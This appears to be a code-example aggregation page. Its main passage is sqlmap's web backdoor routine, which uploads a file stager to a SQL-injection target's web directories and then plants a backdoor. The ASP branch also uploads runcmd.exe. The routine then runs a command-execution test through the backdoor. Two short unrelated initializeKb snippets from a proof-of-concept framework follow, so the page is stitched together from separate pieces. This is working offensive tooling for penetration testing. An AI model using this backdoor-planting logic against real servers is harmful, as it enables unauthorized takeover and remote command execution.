                    self.webStagerFilePath = posixpath.join(ntToPosixSlashes(directory), stagerName)

                    handle, filename = tempfile.mkstemp()
                    os.close(handle)

                    with open(filename, "w+b") as f:
                        _ = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webApi))
                        _ = _.replace("WRITABLE_DIR", utf8encode(directory.replace('/', '\\\\') if Backend.isOs(OS.WINDOWS) else directory))
                        f.write(_)

                    self.unionWriteFile(filename, self.webStagerFilePath, "text", forceCheck=True)

                    for match in re.finditer('/', directory):
                        self.webBaseUrl = "%s://%s:%d%s/" % (conf.scheme, conf.hostname, conf.port, directory[match.start():].rstrip('/'))
                        self.webStagerUrl = urlparse.urljoin(self.webBaseUrl, stagerName)

                        debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
                        logger.debug(debugMsg)

                        uplPage, _, _ = Request.getPage(url=self.webStagerUrl, direct=True, raise404=False)
                        uplPage = uplPage or ""

                        if "sqlmap file uploader" in uplPage:
                            uploaded = True
                            break

            if not uploaded:
                continue

            if "<%" in uplPage or "<?" in uplPage:
                warnMsg = "file stager uploaded on '%s', " % directory
                warnMsg += "but not dynamically interpreted"
                logger.warn(warnMsg)
                continue

            elif self.webApi == WEB_API.ASPX:
                kb.data.__EVENTVALIDATION = extractRegexResult(EVENTVALIDATION_REGEX, uplPage)
                kb.data.__VIEWSTATE = extractRegexResult(VIEWSTATE_REGEX, uplPage)

            infoMsg = "the file stager has been successfully uploaded "
            infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
            logger.info(infoMsg)

            if self.webApi == WEB_API.ASP:
                match = re.search(r'input type=hidden name=scriptsdir value="([^"]+)"', uplPage)

                if match:
                    backdoorDirectory = match.group(1)
                else:
                    continue

                _ = "tmpe%s.exe" % randomStr(lowercase=True)
                if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", _)):
                    self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
                    self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
                    self.webDirectory = backdoorDirectory
                else:
                    continue

            else:
                if not self.webUpload(backdoorName, posixToNtSlashes(directory) if Backend.isOs(OS.WINDOWS) else directory, content=backdoorContent):
                    warnMsg = "backdoor has not been successfully uploaded "
                    warnMsg += "through the file stager possibly because "
                    warnMsg += "the user running the web server process "
                    warnMsg += "has not write privileges over the folder "
                    warnMsg += "where the user running the DBMS process "
                    warnMsg += "was able to upload the file stager or "
                    warnMsg += "because the DBMS and web server sit on "
                    warnMsg += "different servers"
                    logger.warn(warnMsg)

                    message = "do you want to try the same method used "
                    message += "for the file stager? [Y/n] "

                    if readInput(message, default='Y', boolean=True):
                        self._webFileInject(backdoorContent, backdoorName, directory)
                    else:
                        continue

                self.webBackdoorUrl = posixpath.join(ntToPosixSlashes(self.webBaseUrl), backdoorName)
                self.webDirectory = directory

            self.webBackdoorFilePath = posixpath.join(ntToPosixSlashes(directory), backdoorName)

            testStr = "command execution test"
            output = self.webBackdoorRunCmd("echo %s" % testStr)

            if output == "0":
                warnMsg = "the backdoor has been uploaded but required privileges "
                warnMsg += "for running the system commands are missing"
                raise SqlmapNoneDataException(warnMsg)
            elif output and testStr in output:
                infoMsg = "the backdoor has been successfully "
            else:
                infoMsg = "the backdoor has probably been successfully "

            infoMsg += "uploaded on '%s' - " % self.webDirectory
            infoMsg += self.webBackdoorUrl
            logger.info(infoMsg)

            break
Ejemplo n.º 26
0
def initializeKb():
    kb.targets = Queue.Queue()
    kb.exps = {}
    kb.results = oset()
Ejemplo n.º 27
0
def initializeKb():
    kb.targets = Queue.Queue()
    kb.pocFiles = set()
    kb.results = oset()
    kb.registeredPocs = {}